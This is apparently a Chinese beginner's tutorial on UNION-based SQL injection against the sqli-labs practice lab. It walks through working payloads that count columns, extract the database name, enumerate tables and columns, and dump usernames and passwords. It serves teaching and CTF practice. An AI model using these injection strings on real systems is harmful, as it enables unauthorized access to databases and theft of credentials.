我本人也是一个小白有什么错误的地方希望大佬可以指出,有什么疑问也可以留言,希望可以互相交流学习一下。
sql注入经典之联合注入
关于联合注入是sql注入中最经典的也是大部分初学ctf的师傅们最开始接触的注入方式
测试注入点
首先在注入的时候都需要先测试一下注入点
?id=1' order by 3--+
这是在注入中比较常见的一种测试方式
在sqli-labs第一关进行测试
如果是
?id=1' order by 2--+
也是正常的回显正确的内容。
如果换成4呢?
?id=1' order by 4--+
翻译过来就是“order子句”中的未知列“4”
我们可以发现报错了不存在第4列,那么在这种注入的测试方式中我们就测出有三个注入点。
今后的sql注入题基本上会使用order by语句进行测试,因为它比较简单就可以检测出有多少注入点。
然后还是存在另外几种测试方式我在这里再介绍一种:
?id=-1' union select 1,2,3--+
正常会回显,但是使用
?id=0' union select 1,2,3,4--+
就会报错这里我就不给出图了。
知道了我们有三个注入点之后我们就可以正常的进行sql注入了
第一步:爆库
观察仔细的师傅就会发现上面我们给出使用union select和order by回显的内容是不同的,那是因为在union中会直接给出注入点在哪里,回显了2和3就证明可以在2和3的点进行注入。
?id=-1' union select 1,database(),3--+
同样的在3中进行注入一样可以得到这种结果
那么我们就已经爆出了数据库名是security
第二步:读取数据库中的表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+
可以看到爆出了emails,referers,uagents,users这些表
在这条语句中我来给师傅们进行一个简单的讲解:
group_concat函数mysql中非常实用的函数,它可以将同一个分组下的行拼接在一起
group_concat函数详解想要了解的更加清楚的师傅可以去看看
那可能有师傅就会疑惑了既然它只是一个拼接的作用那么去掉内容是不是不会有任何改变呢?
显示了一个错误:子查询返回1行以上
所以虽然group_concat函数只是一个拼接的作用但是在实际的注入中是不能去除的。
information_schema.tables在这里面存储了所有的表名。
这个涉及到了information_schema它提供了访问数据库元数据的方式information_schema师傅们感兴趣一样可以深入去了解一下
table_schema代表的是数据库名table_schema= 'security'代表你要查询的表的上一级的数据库名是security。
(select group_concat(table_name) from information_schema.tables where table_schema= 'security')
全部在一起的语义我的理解是:
选择从security数据库(table_schema= 'security')中的所有表名(table_name)
第三步:查询表中的列
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+
在这里我们选择查询一个users表的所有列以达到我们获取个人敏感数据的目的
语句的涵义就是:选择查询security数据库中的users表中的列的内容
第四步:查询列数据得到我们所需要的信息
?id=-1' union select 1,group_concat(username ,id , password),3 from security.users--+
注意在最后的查询的时候from security.users一定要写在整个查询语句的末端
总结
可以看到我们得到了所有的数据也就完成了一次成功的sql注入
最后我在这里谈谈我当初在学这个sql注入时遇到的一些疑惑:
在查询时
?id=1' order by 3--+
在这当中的1可不可以是其他的数字呢?
当然是可以的,但是只会有报错的回显而。
不为1时正常情况下:
不为1时不正常情况下:
可以看到比起使用1在检测有几个注入点时的效果没有任何变化,那么没有任何关系无论数字是多少。
但是因为在用1时是一个固定的回显情况除非报错不会有任何改变那么在进行联合查询时是不能使用1的。
可以看到使用1是不会爆出我们的数据库的。